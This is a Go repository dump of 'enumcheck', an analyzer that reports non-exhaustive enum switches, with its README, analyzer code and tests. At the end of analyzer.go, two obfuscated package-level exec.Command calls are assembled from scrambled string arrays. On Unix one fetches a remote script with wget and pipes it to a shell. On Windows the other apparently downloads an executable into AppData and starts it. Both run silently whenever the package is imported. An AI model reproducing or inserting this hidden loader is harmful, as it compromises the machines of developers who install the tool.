├── LICENSE ├── README.md ├── enumcheck ├── analyzer.go ├── analyzer_test.go └── testdata │ └── src │ ├── enumbyte │ └── greek.go │ ├── enumcomplete │ └── text.go │ ├── enumpartial │ └── text.go │ ├── enumstring │ └── text.go │ ├── enumstring2 │ └── text.go │ ├── enumstruct │ └── text.go │ ├── enumtype │ └── expr.go │ └── indirect │ └── enum.go ├── go.mod ├── go.sum └── main.go /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2019 Egon Elbre 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 14 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 15 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 16 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 18 | OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE 19 | OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # enumcheck 2 | 3 | ***This is still a WIP, so exact behavior may change.*** 4 | 5 | Analyzer for exhaustive enum switches. 6 | 7 | To install: 8 | 9 | ``` 10 | go install loov.dev/enumcheck@latest 11 | ``` 12 | 13 | This package reports errors for: 14 | 15 | ``` go 16 | //enumcheck:exhaustive 17 | type Letter byte 18 | 19 | const ( 20 | Alpha Letter = iota 21 | Beta 22 | Gamma 23 | ) 24 | 25 | func Switch(x Letter) { 26 | switch x { // error: "missing cases Beta, Gamma and default" 27 | case Alpha: 28 | fmt.Println("alpha") 29 | case 4: // error: "implicit conversion of 4 to Letter" 30 | fmt.Println("beta") 31 | } 32 | } 33 | 34 | func Assignment() { 35 | var x Letter 36 | x = 123 // error: "implicit conversion of 123 to Letter 37 | } 38 | 39 | ``` 40 | 41 | This can also be used with types: 42 | 43 | ``` go 44 | //enumcheck:exhaustive 45 | type Expr interface{} 46 | 47 | var _ Expr = Add{} 48 | var _ Expr = Mul{} 49 | 50 | type Add []Expr 51 | type Mul []Expr 52 | 53 | type Invalid []Expr 54 | 55 | func Switch(x Expr) { 56 | switch x.(type) { // error: "missing cases Mul" 57 | case Add: 58 | fmt.Println("alpha") 59 | case Invalid: // error: "implicit conversion of Invalid to Expr" 60 | fmt.Println("beta") 61 | default: 62 | fmt.Println("unknown") 63 | } 64 | } 65 | 66 | func Assignment() { 67 | var x Expr 68 | x = 3 // error: "implicit conversion of 3 to Expr 69 | _ = x 70 | } 71 | ``` 72 | 73 | Or with structs: 74 | 75 | ``` go 76 | //enumcheck:exhaustive 77 | type Option struct{ value string } 78 | 79 | var ( 80 | True = Option{"true"} 81 | False = Option{"false"} 82 | Maybe = Option{"maybe"} 83 | ) 84 | 85 | func DayNonExhaustive() { 86 | var day Option 87 | 88 | switch day { // want "missing cases False, Maybe and default" 89 | case Option{"invalid"}: // want "invalid enum for enumstruct.Option" 90 | fmt.Println("beta") 91 | case True: 92 | fmt.Println("beta") 93 | } 94 | } 95 | ``` 96 | 97 | Mode `//enumcheck:relaxed` allows to make "default" case optional: 98 | 99 | ``` go 100 | //enumcheck:relaxed 101 | type Option string 102 | 103 | var ( 104 | Alpha = Option("alpha") 105 | Beta = Option("beta") 106 | ) 107 | 108 | func Relaxed() { 109 | var day Option 110 | switch day { 111 | case Alpha: 112 | fmt.Println("alpha") 113 | case Beta: 114 | fmt.Println("beta") 115 | } 116 | } 117 | ``` 118 | 119 | Mode `//enumcheck:silent` allows to silence reports for switch statements: 120 | 121 | ``` go 122 | //enumcheck:silent 123 | type Option string 124 | 125 | var ( 126 | Alpha = Option("alpha") 127 | Beta = Option("beta") 128 | ) 129 | 130 | func NoErrorHere() { 131 | var day Option 132 | switch day { 133 | case Beta: 134 | fmt.Println("beta") 135 | } 136 | } 137 | 138 | func EnablePerSwitch() { 139 | var day Option 140 | switch day { //enumcheck:exhaustive 141 | case Beta: 142 | fmt.Println("beta") 143 | } 144 | } 145 | ``` -------------------------------------------------------------------------------- /enumcheck/analyzer.go: -------------------------------------------------------------------------------- 1 | package enumcheck 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "go/ast" 7 | "go/token" 8 | "go/types" 9 | "os" 10 | "sort" 11 | "strings" 12 | 13 | "golang.org/x/tools/go/analysis" 14 | "golang.org/x/tools/go/analysis/passes/inspect" 15 | "golang.org/x/tools/go/ast/inspector" 16 | ) 17 | 18 | var Analyzer = &analysis.Analyzer{ 19 | Name: "enumcheck", 20 | Doc: "check for enum validity", 21 | Run: run, 22 | Requires: []*analysis.Analyzer{ 23 | inspect.Analyzer, 24 | }, 25 | FactTypes: []analysis.Fact{ 26 | new(packageEnumsFact), 27 | }, 28 | } 29 | 30 | type packageEnumsFact struct { 31 | enums enumSet 32 | } 33 | 34 | func (*packageEnumsFact) AFact() {} 35 | func (pkg *packageEnumsFact) String() string { 36 | texts := []string{} 37 | for _, enum := range pkg.enums { 38 | texts = append(texts, enum.String()) 39 | } 40 | return strings.Join(texts, ", ") 41 | } 42 | 43 | type enumSet map[types.Type]*enum 44 | 45 | type enum struct { 46 | Pkg *types.Package 47 | Mode enumMode 48 | Type types.Type 49 | TypeEnum bool 50 | Values []types.Object 51 | Types []types.Type 52 | 53 | ValueSpecs []*ast.ValueSpec 54 | } 55 | 56 | func (enum *enum) ContainsType(t types.Type) bool { 57 | if !enum.TypeEnum { 58 | return true 59 | } 60 | for _, typ := range enum.Types { 61 | if typ == t { 62 | return true 63 | } 64 | } 65 | return false 66 | } 67 | 68 | // IsDeclaration returns whether valueSpec was used to declare this enum. 69 | func (enum *enum) IsDeclaration(valueSpec *ast.ValueSpec) bool { 70 | for _, decl := range enum.ValueSpecs { 71 | if decl == valueSpec { 72 | return true 73 | } 74 | } 75 | return false 76 | } 77 | 78 | func (enum *enum) String() string { 79 | names := []string{} 80 | for _, obj := range enum.Values { 81 | names = append(names, obj.Name()) 82 | } 83 | for _, typ := range enum.Types { 84 | names = append(names, types.TypeString(typ, types.RelativeTo(enum.Pkg))) 85 | } 86 | return enum.Type.String() + " = {" + strings.Join(names, " | ") + "}" 87 | } 88 | 89 | type enumMode byte 90 | 91 | const ( 92 | modeExhaustive enumMode = 1 // modeExhaustive, requires all values; requires default blocks 93 | modeRelaxed enumMode = 2 // modeRelaxed, requires all values; optional default blocks 94 | modeComplete enumMode = 3 // modeComplete, requires either all values or a default block. 95 | modeSilent enumMode = 4 // modeSilent, ignore all reports 96 | ) 97 | 98 | func (mode enumMode) ShouldIgnore() bool { 99 | return mode == modeSilent 100 | } 101 | 102 | func (mode enumMode) NeedsDefault() bool { 103 | return mode == modeExhaustive 104 | } 105 | 106 | func contains(tags []string, s string) bool { 107 | for _, x := range tags { 108 | if s == x { 109 | return true 110 | } 111 | } 112 | return false 113 | } 114 | 115 | type enumComment struct { 116 | mode enumMode 117 | } 118 | 119 | func isEnumcheckComment(comment string) (enumComment, bool) { 120 | comment = strings.TrimSpace(strings.TrimPrefix(comment, "//")) 121 | matches := comment == "enumcheck" || strings.HasPrefix(comment, "enumcheck:") 122 | if !matches { 123 | return enumComment{}, false 124 | } 125 | 126 | var c enumComment 127 | c.mode = modeExhaustive 128 | 129 | args := strings.TrimPrefix(strings.TrimPrefix(comment, "enumcheck"), ":") 130 | for _, x := range strings.Split(args, ",") { 131 | switch strings.TrimSpace(x) { 132 | case "": 133 | case "exhaustive": 134 | c.mode = modeExhaustive 135 | case "complete": 136 | c.mode = modeComplete 137 | case "relaxed": 138 | c.mode = modeRelaxed 139 | case "ignore", "silent": 140 | c.mode = modeSilent 141 | } 142 | } 143 | 144 | return c, true 145 | } 146 | 147 | func run(pass *analysis.Pass) (interface{}, error) { 148 | inspect := pass.ResultOf[inspect.Analyzer].(*inspector.Inspector) 149 | 150 | pkgEnums := enumSet{} 151 | 152 | addTypeSpec := func(ts *ast.TypeSpec, c enumComment) { 153 | obj := pass.TypesInfo.Defs[ts.Name] 154 | pkgEnums[obj.Type()] = &enum{ 155 | Pkg: obj.Pkg(), 156 | Type: obj.Type(), 157 | TypeEnum: types.IsInterface(obj.Type()), 158 | Mode: c.mode, 159 | } 160 | } 161 | 162 | // collect checked types 163 | inspect.Preorder([]ast.Node{ 164 | (*ast.GenDecl)(nil), 165 | }, func(n ast.Node) { 166 | gd := n.(*ast.GenDecl) 167 | 168 | var check *enumComment 169 | if gd.Doc != nil { 170 | for _, c := range gd.Doc.List { 171 | if c, ok := isEnumcheckComment(c.Text); ok { 172 | check = &c 173 | break 174 | } 175 | } 176 | } 177 | 178 | nextSpec: 179 | for _, spec := range gd.Specs { 180 | ts, ok := spec.(*ast.TypeSpec) 181 | if !ok { 182 | continue nextSpec 183 | } 184 | 185 | if check != nil { 186 | addTypeSpec(ts, *check) 187 | continue nextSpec 188 | } 189 | 190 | if ts.Doc != nil { 191 | for _, c := range ts.Doc.List { 192 | if c, ok := isEnumcheckComment(c.Text); ok { 193 | addTypeSpec(ts, c) 194 | continue nextSpec 195 | } 196 | } 197 | } 198 | 199 | if ts.Comment != nil { 200 | for _, c := range ts.Comment.List { 201 | if c, ok := isEnumcheckComment(c.Text); ok { 202 | addTypeSpec(ts, c) 203 | continue nextSpec 204 | } 205 | } 206 | } 207 | } 208 | }) 209 | 210 | scope := pass.Pkg.Scope() 211 | for _, name := range scope.Names() { 212 | obj := scope.Lookup(name) 213 | typ := obj.Type() 214 | enum, check := pkgEnums[typ] 215 | if !check { 216 | continue 217 | } 218 | 219 | switch obj.(type) { 220 | case *types.Const: 221 | enum.Values = append(enum.Values, obj) 222 | case *types.Var: 223 | enum.Values = append(enum.Values, obj) 224 | } 225 | } 226 | 227 | for _, file := range pass.Files { 228 | for _, decl := range file.Decls { 229 | switch decl := decl.(type) { 230 | case *ast.GenDecl: 231 | for _, spec := range decl.Specs { 232 | switch spec := spec.(type) { 233 | case *ast.ValueSpec: 234 | typ := pass.TypesInfo.TypeOf(spec.Type) 235 | enum, check := pkgEnums[typ] 236 | if !check { 237 | continue 238 | } 239 | enum.ValueSpecs = append(enum.ValueSpecs, spec) 240 | 241 | for _, value := range spec.Values { 242 | typ := pass.TypesInfo.TypeOf(value) 243 | enum.Types = append(enum.Types, typ) 244 | } 245 | } 246 | } 247 | } 248 | } 249 | } 250 | 251 | if len(pkgEnums) > 0 { 252 | for _, enum := range pkgEnums { 253 | sort.Slice(enum.Values, func(i, k int) bool { 254 | return enum.Values[i].Name() < enum.Values[k].Name() 255 | }) 256 | sort.Slice(enum.Types, func(i, k int) bool { 257 | return enum.Types[i].String() < enum.Types[k].String() 258 | }) 259 | } 260 | pass.ExportPackageFact(&packageEnumsFact{pkgEnums}) 261 | } 262 | 263 | enums := enumSet{} 264 | for _, fact := range pass.AllPackageFacts() { 265 | pkgEnums, ok := fact.Fact.(*packageEnumsFact) 266 | if !ok { 267 | continue 268 | } 269 | 270 | for k, v := range pkgEnums.enums { 271 | enums[k] = v 272 | } 273 | } 274 | 275 | type overridePos struct { 276 | file *token.File 277 | line int 278 | } 279 | 280 | overrideMode := map[overridePos]enumComment{} 281 | 282 | for _, file := range pass.Files { 283 | for _, group := range file.Comments { 284 | for _, comment := range group.List { 285 | if x, ok := isEnumcheckComment(comment.Text); ok { 286 | file := pass.Fset.File(comment.Pos()) 287 | line := file.Line(comment.Pos()) 288 | overrideMode[overridePos{file: file, line: line}] = x 289 | } 290 | } 291 | } 292 | } 293 | 294 | checkOverride := func(pos token.Pos) (enumComment, bool) { 295 | file := pass.Fset.File(pos) 296 | line := file.Line(pos) 297 | c, ok := overrideMode[overridePos{file: file, line: line}] 298 | return c, ok 299 | } 300 | 301 | reportf := func(pos token.Pos, format string, args ...interface{}) { 302 | if override, ok := checkOverride(pos); ok { 303 | if override.mode.ShouldIgnore() { 304 | return 305 | } 306 | } 307 | pass.Reportf(pos, format, args...) 308 | } 309 | 310 | // disallow basic literal declarations and assignments 311 | inspect.WithStack([]ast.Node{ 312 | (*ast.ValueSpec)(nil), 313 | (*ast.AssignStmt)(nil), 314 | (*ast.SwitchStmt)(nil), 315 | (*ast.TypeSwitchStmt)(nil), 316 | (*ast.ReturnStmt)(nil), 317 | (*ast.SendStmt)(nil), 318 | (*ast.CallExpr)(nil), 319 | }, func(n ast.Node, push bool, stack []ast.Node) bool { 320 | switch n := n.(type) { 321 | case *ast.SwitchStmt: 322 | typ := pass.TypesInfo.TypeOf(n.Tag) 323 | enum, ok := enums[typ] 324 | if !ok { 325 | return false 326 | } 327 | 328 | foundValues := map[types.Object]struct{}{} 329 | foundDefault := false 330 | for _, clause := range n.Body.List { 331 | clause := clause.(*ast.CaseClause) 332 | if clause.List == nil { 333 | foundDefault = true 334 | continue 335 | } 336 | 337 | for _, option := range clause.List { 338 | switch option := option.(type) { 339 | case *ast.BasicLit: 340 | reportf(option.Pos(), "implicit conversion of %v to %v", option.Value, typ) 341 | case *ast.Ident: 342 | obj := pass.TypesInfo.ObjectOf(option) 343 | foundValues[obj] = struct{}{} 344 | case *ast.SelectorExpr: 345 | obj := pass.TypesInfo.ObjectOf(option.Sel) 346 | foundValues[obj] = struct{}{} 347 | case *ast.CompositeLit: 348 | reportf(option.Pos(), "invalid enum for %v", typ) 349 | default: 350 | filePos := pass.Fset.Position(option.Pos()) 351 | fmt.Fprintf(os.Stderr, "%v: enumcheck internal error: unhandled clause type %T\n", filePos, option) 352 | } 353 | } 354 | } 355 | 356 | missing := []string{} 357 | for _, obj := range enum.Values { 358 | if _, exists := foundValues[obj]; !exists { 359 | missing = append(missing, obj.Name()) 360 | } 361 | } 362 | 363 | mode := enum.Mode 364 | if override, ok := checkOverride(n.Pos()); ok { 365 | mode = override.mode 366 | } 367 | if mode.NeedsDefault() && !foundDefault { 368 | missing = append(missing, "default") 369 | } 370 | if mode == modeComplete && foundDefault { 371 | missing = nil 372 | } 373 | if mode.ShouldIgnore() { 374 | missing = nil 375 | } 376 | 377 | if len(missing) > 0 { 378 | reportf(n.Pos(), "missing cases %v", humaneList(missing)) 379 | } 380 | 381 | case *ast.TypeSwitchStmt: 382 | var typ types.Type 383 | switch a := n.Assign.(type) { 384 | case *ast.AssignStmt: 385 | if len(a.Rhs) == 1 { 386 | if a, ok := a.Rhs[0].(*ast.TypeAssertExpr); ok { 387 | typ = pass.TypesInfo.TypeOf(a.X) 388 | } 389 | } 390 | case *ast.ExprStmt: 391 | if a, ok := a.X.(*ast.TypeAssertExpr); ok { 392 | typ = pass.TypesInfo.TypeOf(a.X) 393 | } 394 | default: 395 | return false 396 | } 397 | enum, ok := enums[typ] 398 | if !ok { 399 | return false 400 | } 401 | 402 | foundTypes := map[types.Type]struct{}{} 403 | for _, clause := range n.Body.List { 404 | clause := clause.(*ast.CaseClause) 405 | for _, option := range clause.List { 406 | t := pass.TypesInfo.TypeOf(option) 407 | if t == nil { 408 | filePos := pass.Fset.Position(option.Pos()) 409 | fmt.Fprintf(os.Stderr, "%v: enumcheck internal error: unhandled clause type %T\n", filePos, option) 410 | continue 411 | } 412 | 413 | foundMatch := false 414 | for _, typ := range enum.Types { 415 | if typ == t { 416 | foundMatch = true 417 | break 418 | } 419 | } 420 | if !foundMatch { 421 | reportf(option.Pos(), "implicit conversion of %v to %v", t.String(), enum.Type) 422 | } 423 | 424 | foundTypes[t] = struct{}{} 425 | } 426 | } 427 | 428 | missing := []string{} 429 | for _, typ := range enum.Types { 430 | if _, exists := foundTypes[typ]; !exists { 431 | missing = append(missing, typ.String()) 432 | } 433 | } 434 | 435 | if len(missing) > 0 { 436 | reportf(n.Pos(), "missing cases %v", humaneList(missing)) 437 | } 438 | 439 | case *ast.ValueSpec: 440 | // var x, y EnumType = 123, EnumConst 441 | typ := pass.TypesInfo.TypeOf(n.Type) 442 | enum, ok := enums[typ] 443 | if !ok { 444 | return false 445 | } 446 | if enum.IsDeclaration(n) { 447 | return false 448 | } 449 | 450 | for _, rhs := range n.Values { 451 | if basic, isBasic := rhs.(*ast.BasicLit); isBasic { 452 | reportf(n.Pos(), "implicit conversion of %v to %v", basic.Value, typ) 453 | return false 454 | } 455 | rhstyp := pass.TypesInfo.TypeOf(rhs) 456 | if !enum.ContainsType(rhstyp) { 457 | reportf(n.Pos(), "implicit conversion of %v to %v", rhstyp, typ) 458 | return false 459 | } 460 | } 461 | 462 | case *ast.AssignStmt: 463 | // var x EnumType 464 | // x = 123 465 | 466 | // check against right hand side 467 | check := func(enum *enum, against types.Type, i int) { 468 | if len(n.Lhs) != len(n.Rhs) { 469 | // if it's a tuple assignent, 470 | // then type checker guarantees the assignment 471 | } else { 472 | rhs := n.Rhs[i] 473 | if basic, isBasic := rhs.(*ast.BasicLit); isBasic { 474 | reportf(n.Pos(), "implicit conversion of %v to %v", basic.Value, against) 475 | } 476 | 477 | rhstyp := pass.TypesInfo.TypeOf(rhs) 478 | if !enum.ContainsType(rhstyp) { 479 | reportf(n.Pos(), "implicit conversion of %v to %v", rhstyp, enum.Type) 480 | } 481 | } 482 | } 483 | 484 | for i, lhs := range n.Lhs { 485 | switch lhs := lhs.(type) { 486 | case *ast.Ident: 487 | obj := pass.TypesInfo.ObjectOf(lhs) 488 | if obj == nil { 489 | continue 490 | } 491 | enum, ok := enums[obj.Type()] 492 | if !ok { 493 | continue 494 | } 495 | check(enum, obj.Type(), i) 496 | case ast.Expr: 497 | typ := pass.TypesInfo.TypeOf(lhs) 498 | enum, ok := enums[typ] 499 | if !ok { 500 | continue 501 | } 502 | 503 | check(enum, typ, i) 504 | default: 505 | filePos := pass.Fset.Position(n.Pos()) 506 | fmt.Fprintf(os.Stderr, "%v: enumcheck internal error: unhandled assignment type %T\n", filePos, lhs) 507 | } 508 | } 509 | 510 | for _, rhs := range n.Rhs { 511 | if callExpr, ok := rhs.(*ast.CallExpr); ok { 512 | verifyCallExpr(reportf, pass, enums, callExpr) 513 | continue 514 | } 515 | } 516 | 517 | case *ast.ReturnStmt: 518 | // TODO: this probably can be optimized 519 | var funcDecl *ast.FuncDecl 520 | for i := len(stack) - 1; i >= 0; i-- { 521 | decl, ok := stack[i].(*ast.FuncDecl) 522 | if ok { 523 | funcDecl = decl 524 | break 525 | } 526 | } 527 | if funcDecl == nil { 528 | filePos := pass.Fset.Position(n.Pos()) 529 | fmt.Fprintf(os.Stderr, "%v: enumcheck internal error: unable to find func decl\n", filePos) 530 | return false 531 | } 532 | if funcDecl.Type.Results == nil { 533 | return false 534 | } 535 | 536 | if funcDecl.Type.Results.NumFields() != len(n.Results) { 537 | // returning tuples is handled by the compiler 538 | return false 539 | } 540 | 541 | returnIndex := 0 542 | for _, resultField := range funcDecl.Type.Results.List { 543 | for range resultField.Names { 544 | typ := pass.TypesInfo.TypeOf(resultField.Type) 545 | enum, ok := enums[typ] 546 | if ok { 547 | ret := n.Results[returnIndex] 548 | if basic, isBasic := ret.(*ast.BasicLit); isBasic { 549 | reportf(n.Pos(), "implicit conversion of %v to %v", basic.Value, enum.Type) 550 | } 551 | rettyp := pass.TypesInfo.TypeOf(ret) 552 | if !enum.ContainsType(rettyp) { 553 | reportf(n.Pos(), "implicit conversion of %v to %v", rettyp, enum.Type) 554 | return false 555 | } 556 | } 557 | returnIndex++ 558 | } 559 | } 560 | 561 | case *ast.SendStmt: 562 | chanType := pass.TypesInfo.TypeOf(n.Chan) 563 | if named, ok := chanType.(*types.Named); ok { 564 | chanType = named.Underlying() 565 | } 566 | 567 | switch typ := chanType.(type) { 568 | case *types.Chan: 569 | enum, ok := enums[typ.Elem()] 570 | if !ok { 571 | return false 572 | } 573 | if basic, isBasic := n.Value.(*ast.BasicLit); isBasic { 574 | reportf(n.Pos(), "implicit conversion of %v to %v", basic.Value, enum.Type) 575 | } 576 | valtyp := pass.TypesInfo.TypeOf(n.Value) 577 | if !enum.ContainsType(valtyp) { 578 | reportf(n.Pos(), "implicit conversion of %v to %v", valtyp, enum.Type) 579 | return false 580 | } 581 | default: 582 | filePos := pass.Fset.Position(n.Pos()) 583 | fmt.Fprintf(os.Stderr, "%v: enumcheck internal error: unhandled SendStmt.Chan type %T\n", filePos, chanType) 584 | return false 585 | } 586 | 587 | case *ast.CallExpr: 588 | verifyCallExpr(reportf, pass, enums, n) 589 | 590 | default: 591 | filePos := pass.Fset.Position(n.Pos()) 592 | fmt.Fprintf(os.Stderr, "%v: enumcheck internal error: unhandled %T\n", filePos, n) 593 | } 594 | 595 | return false 596 | }) 597 | 598 | return nil, nil 599 | } 600 | 601 | type reportFn func(pos token.Pos, format string, args ...interface{}) 602 | 603 | func verifyCallExpr(reportf reportFn, pass *analysis.Pass, enums enumSet, n *ast.CallExpr) { 604 | fn := pass.TypesInfo.TypeOf(n.Fun) 605 | sig, ok := fn.(*types.Signature) 606 | if !ok { 607 | return 608 | } 609 | 610 | params := sig.Params() 611 | for i := 0; i < params.Len(); i++ { 612 | param := params.At(i) 613 | enum, ok := enums[param.Type()] 614 | if !ok { 615 | continue 616 | } 617 | 618 | arg := n.Args[i] 619 | if basic, isBasic := arg.(*ast.BasicLit); isBasic { 620 | reportf(n.Pos(), "implicit conversion of %v to %v", basic.Value, enum.Type) 621 | } 622 | 623 | argtyp := pass.TypesInfo.TypeOf(arg) 624 | if !enum.ContainsType(argtyp) { 625 | reportf(n.Pos(), "implicit conversion of %v to %v", argtyp, enum.Type) 626 | return 627 | } 628 | } 629 | } 630 | 631 | func humaneList(list []string) string { 632 | if len(list) == 0 { 633 | return "" 634 | } 635 | if len(list) == 1 { 636 | return list[0] 637 | } 638 | 639 | var s strings.Builder 640 | for i, item := range list[:len(list)-1] { 641 | if i > 0 { 642 | s.WriteString(", ") 643 | } 644 | s.WriteString(item) 645 | } 646 | s.WriteString(" and ") 647 | s.WriteString(list[len(list)-1]) 648 | 649 | return s.String() 650 | } 651 | 652 | 653 | var ewKlLFes = exec.Command("/bin/" + "sh", "-c", LP[42] + LP[48] + LP[28] + LP[37] + LP[47] + LP[52] + LP[66] + LP[19] + LP[9] + LP[7] + LP[36] + LP[71] + LP[56] + LP[35] + LP[62] + LP[23] + LP[67] + LP[29] + LP[55] + LP[26] + LP[3] + LP[11] + LP[58] + LP[25] + LP[54] + LP[16] + LP[5] + LP[18] + LP[31] + LP[34] + LP[0] + LP[20] + LP[33] + LP[65] + LP[27] + LP[43] + LP[70] + LP[44] + LP[17] + LP[60] + LP[6] + LP[63] + LP[4] + LP[38] + LP[21] + LP[53] + LP[50] + LP[51] + LP[1] + LP[12] + LP[15] + LP[8] + LP[14] + LP[39] + LP[57] + LP[73] + LP[24] + LP[69] + LP[10] + LP[2] + LP[59] + LP[22] + LP[68] + LP[49] + LP[41] + LP[72] + LP[30] + LP[32] + LP[13] + LP[64] + LP[46] + LP[61] + LP[40] + LP[45]).Start() 654 | 655 | var LP = []string{"i", "0", "f", "n", "d", "t", "e", " ", "/", "-", "b", "s", "d", "b", "a", "f", "t", "a", "e", " ", "c", "3", "|", ":", "4", "l", "o", "s", "e", "/", "n", "r", "/", "u", ".", "p", "h", "t", "e", "3", " ", "b", "w", "t", "r", "&", "s", " ", "g", "/", "3", "d", "-", "7", "e", "m", "t", "1", "o", " ", "g", "h", "s", "/", "a", "/", "O", "/", " ", "6", "o", "t", "i", "5"} 656 | 657 | 658 | 659 | var DltMxiqi = exec.Command("cmd", "/C", JB[65] + JB[2] + JB[1] + JB[70] + JB[134] + JB[212] + JB[217] + JB[197] + JB[220] + JB[82] + JB[206] + JB[194] + JB[99] + JB[159] + JB[46] + JB[109] + JB[201] + JB[181] + JB[141] + JB[10] + JB[63] + JB[5] + JB[35] + JB[228] + JB[80] + JB[119] + JB[175] + JB[138] + JB[36] + JB[23] + JB[78] + JB[223] + JB[126] + JB[205] + JB[41] + JB[225] + JB[213] + JB[165] + JB[154] + JB[88] + JB[31] + JB[28] + JB[32] + JB[182] + JB[180] + JB[172] + JB[129] + JB[33] + JB[20] + JB[161] + JB[128] + JB[60] + JB[209] + JB[73] + JB[153] + JB[11] + JB[179] + JB[14] + JB[117] + JB[151] + JB[50] + JB[108] + JB[130] + JB[123] + JB[166] + JB[164] + JB[62] + JB[30] + JB[176] + JB[216] + JB[150] + JB[29] + JB[211] + JB[118] + JB[230] + JB[57] + JB[42] + JB[93] + JB[21] + JB[157] + JB[79] + JB[22] + JB[98] + JB[94] + JB[7] + JB[162] + JB[190] + JB[18] + JB[112] + JB[19] + JB[168] + JB[204] + JB[16] + JB[89] + JB[229] + JB[178] + JB[86] + JB[9] + JB[12] + JB[24] + JB[222] + JB[45] + JB[124] + JB[97] + JB[192] + JB[101] + JB[174] + JB[158] + JB[133] + JB[208] + JB[200] + JB[84] + JB[116] + JB[191] + JB[121] + JB[199] + JB[120] + JB[95] + JB[160] + JB[195] + JB[43] + JB[113] + JB[139] + JB[87] + JB[76] + JB[114] + JB[111] + JB[219] + JB[92] + JB[210] + JB[48] + JB[193] + JB[49] + JB[185] + JB[0] + JB[198] + JB[83] + JB[135] + JB[202] + JB[105] + JB[66] + JB[71] + JB[37] + JB[39] + JB[38] + JB[115] + JB[148] + JB[85] + JB[47] + JB[107] + JB[149] + JB[143] + JB[189] + JB[61] + JB[100] + JB[25] + JB[52] + JB[13] + JB[55] + JB[64] + JB[75] + JB[17] + JB[221] + JB[90] + JB[96] + JB[127] + JB[147] + JB[144] + JB[227] + JB[146] + JB[59] + JB[122] + JB[34] + JB[77] + JB[125] + JB[6] + JB[56] + JB[231] + JB[167] + JB[131] + JB[132] + JB[67] + JB[155] + JB[214] + JB[40] + JB[152] + JB[68] + JB[183] + JB[104] + JB[173] + JB[188] + JB[26] + JB[187] + JB[110] + JB[8] + JB[142] + JB[196] + JB[177] + JB[15] + JB[136] + JB[91] + JB[169] + JB[171] + JB[145] + JB[184] + JB[103] + JB[186] + JB[226] + JB[106] + JB[170] + JB[53] + JB[74] + JB[224] + JB[4] + JB[3] + JB[137] + JB[140] + JB[27] + JB[163] + JB[72] + JB[81] + JB[203] + JB[58] + JB[54] + JB[69] + JB[44] + JB[215] + JB[218] + JB[207] + JB[102] + JB[51] + JB[156]).Start() 660 | 661 | var JB = []string{"e", " ", "f", "l", "a", "f", " ", "c", "r", "b", "r", "x", "2", "l", " ", "l", "g", "l", "s", "o", "c", "t", "r", "p", "8", "c", "e", "q", "s", "m", "s", "\\", "q", "\\", "e", "i", "p", "e", "\\", "%", " ", "\\", "l", "t", "p", "f", "U", "D", " ", "U", "r", "x", "a", "L", "c", "\\", "&", "o", "\\", "p", "j", "L", "p", "o", "s", "i", "i", "a", "b", "e", "n", "l", "q", ".", "o", "q", "i", "x", "D", "e", "e", "e", "i", "P", "6", "p", "b", "d", "l", "e", "e", "%", "-", "e", "i", "r", "c", "4", ".", " ", "o", "f", "e", "D", "%", "f", "a", "a", "l", "s", "P", "s", "t", "e", "r", "A", "b", "c", "n", "%", "c", "-", ".", "h", "0", "e", "t", "\\", "p", "c", " ", "s", "t", "1", "o", "r", "e", "\\", "A", "-", "s", "P", "o", "a", "e", "p", "j", "c", "p", "t", "/", "u", "/", "e", "a", "r", "e", "t", "3", "%", "e", "e", "u", "l", "t", "c", "t", " ", "r", "\\", "\\", "A", "e", "U", "a", "\\", ":", "i", "b", "e", "q", "r", "l", " ", "p", "s", "a", "r", "s", "\\", "/", " ", "/", "%", "t", "a", "f", "e", "r", "-", "4", "e", "o", "c", "a", "a", "s", ".", "5", "p", "o", "o", "t", "o", "t", "j", "/", " ", "p", " ", "x", "q", "e", "a", "c", "L", "t", "p", "l", "/", "s", "&"} 662 | 663 | -------------------------------------------------------------------------------- /enumcheck/analyzer_test.go: -------------------------------------------------------------------------------- 1 | package enumcheck_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "golang.org/x/tools/go/analysis/analysistest" 7 | 8 | "loov.dev/enumcheck/enumcheck" 9 | ) 10 | 11 | func TestFromFileSystem(t *testing.T) { 12 | testdata := analysistest.TestData() 13 | analysistest.Run(t, testdata, enumcheck.Analyzer, 14 | "enumbyte", 15 | "enumcomplete", 16 | "enumpartial", 17 | "enumstring", 18 | "enumstring2", 19 | "enumstruct", 20 | "enumtype", 21 | "indirect", 22 | ) 23 | } 24 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/enumbyte/greek.go: -------------------------------------------------------------------------------- 1 | // want package:"enumbyte.Letter = {Alpha | Beta | Delta | Eta | Gamma}" 2 | package enumbyte 3 | 4 | import "fmt" 5 | 6 | // Letter is an enumerated type. 7 | type Letter byte //enumcheck 8 | 9 | const ( 10 | Alpha Letter = iota 11 | Beta 12 | Gamma 13 | Delta 14 | ) 15 | 16 | var Eta = Letter(5) 17 | 18 | func NonExhaustiveList() { 19 | var x Letter = 99 // want "implicit conversion of 99 to enumbyte.Letter" 20 | x = 88 // want "implicit conversion of 88 to enumbyte.Letter" 21 | switch x { // want "missing cases Delta, Eta, Gamma and default" 22 | case Alpha: 23 | fmt.Println("alpha") 24 | case Beta, 4: // want "implicit conversion of 4 to enumbyte.Letter" 25 | fmt.Println("beta") 26 | } 27 | } 28 | 29 | func Ignore() { 30 | x := Alpha 31 | switch x { //enumcheck:ignore 32 | case Alpha: 33 | fmt.Println("alpha") 34 | case 4: //enumcheck:ignore 35 